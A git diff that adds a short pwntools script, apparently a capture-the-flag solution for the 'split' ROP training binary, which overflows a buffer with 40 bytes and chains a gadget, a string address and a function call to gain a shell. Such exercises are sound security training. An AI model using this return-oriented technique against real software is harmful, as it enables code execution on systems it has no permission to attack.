summaryrefslogtreecommitdiff
path: root/x86_64/split/exploit.py
diff options
context:
space:
mode:
Diffstat (limited to 'x86_64/split/exploit.py')
-rwxr-xr-xx86_64/split/exploit.py17
1 files changed, 17 insertions, 0 deletions
diff --git a/x86_64/split/exploit.py b/x86_64/split/exploit.py
new file mode 100755
index 0000000..0340b77
--- /dev/null
+++ b/x86_64/split/exploit.py
@@ -0,0 +1,17 @@
+#!/usr/bin/env python3
+from pwn import *
+
+
+context.binary = "./split"
+prog = process('./split')
+payload = b''
+
+for c in range(40): #originally 40
+ payload += b'a'
+
+payload += p64(0x00000000004007c3)
+payload += p64(0x0000000000601060) # usefulString
+payload += p64(0x000000000040074b) # usefulFunction + offset
+
+prog.sendline(payload)
+prog.interactive()